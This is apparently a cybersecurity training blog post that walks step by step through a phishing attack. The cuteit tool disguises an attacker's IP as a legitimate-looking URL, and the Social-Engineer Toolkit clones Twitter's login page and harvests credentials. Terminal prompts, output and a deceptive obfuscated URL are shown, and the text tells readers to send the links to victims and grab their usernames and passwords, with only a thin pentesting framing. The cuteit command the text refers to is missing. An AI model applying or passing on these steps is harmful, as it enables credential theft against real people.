Phishing attacks are very common these days. Most large companies face phishing attacks. International Institute of Cyber Security ethical hacking course includes many methods, where attacking or scripting methods are used to hack any company. But phishing is most reliable and easy. And this method still is very useful. Today we are talking about a tool called cuteit.
Ethical hacking researcher of international institute of cyber security says that cuteit is a well designed tool to hide malicious IP. This tool can be used in network pentesting.
Cuteit is design to make malicious IP addresses into regular URLs. A simple python script which helps attacker to make malicious IP look like regular IP. This tool makes IP into many forms. For showing, we have tesed this tool on Kali Linux 2018.4

- After executing above query a list of regular URLs will be created. Now you can send these URLs to your victim.
- You can also use these URls in creating an fake page. As ethical hacking instructor of International Institute of Cyber Security explains in class on how we can use Kali Linux inbuilt toolkit to create phishing pages.
- Open another Linux terminal for creating phishing page. Type sectookit

The first method will allow SET to import a list of pre-defined web
applications that it can utilize within the attack.
The second method will completely clone a website of your choosing
and allow you to utilize the attack vectors within the completely
same web application you were attempting to clone.
The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.

--- * IMPORTANT * READ THIS BEFORE ENTERING IN THE IP ADDRESS * IMPORTANT * ---
The way that this works is by cloning a site and looking for form fields to
rewrite. If the POST fields are not usual methods for posting forms this
could fail. If it does, you can always save the HTML, rewrite the forms to
be standard forms and use the "IMPORT" feature. Additionally, really
important:
If you are using an EXTERNAL IP ADDRESS, you need to place the EXTERNAL
IP address below, not your NAT address. Additionally, if you don't know
basic networking concepts, and you have a private IP address, you will
need to do port forwarding to your NAT IP address from your external IP
address. A browser doesns't know how to communicate with a private IP
address, so if you don't specify an external IP address if you are using
this from an external perpective, it will not work. This isn't a SET issue
this is how networking works.
- Type 192.168.1.8
set:webattack> IP address for the POST back in Harvester/Tabnabbing [192.168.1.8]:192.168.1.8
- Type twitter.com/login
set:webattack> Enter the url to clone:twitter.com/login
[] Cloning the website: https://twitter.com/login [] This could take a little bit…
The best way to use this attack is if username and password form
fields are available. Regardless, this captures all POSTs on a website.
[] You may need to copy /var/www/ into /var/www/html depending on where your directory structure is.
Press {return} if you understand what we're saying here.
[] Web Jacking Attack Vector is Enabled…Victim needs to click the link. [] The Social-Engineer Toolkit Credential Harvester Attack
[] Credential Harvester is running on port 80 [] Information will be displayed to you as it arrives below:
- As target opens any URL from above list where Cuteit has created many URls.
- Go to web browser and open https://google.com@accounts@0xc0.168.1.8
- As you open above link it will open another link. That phishing link will be used.
- As your target opens above marked link. Information will be displayed in terminal where you have created the phishing page.

- As you can see, you an easily grab the username and password.
If normal phishing pages are created. There are very less chance that target will open that page. This tool helps as it create malicious IP into regular URLs.
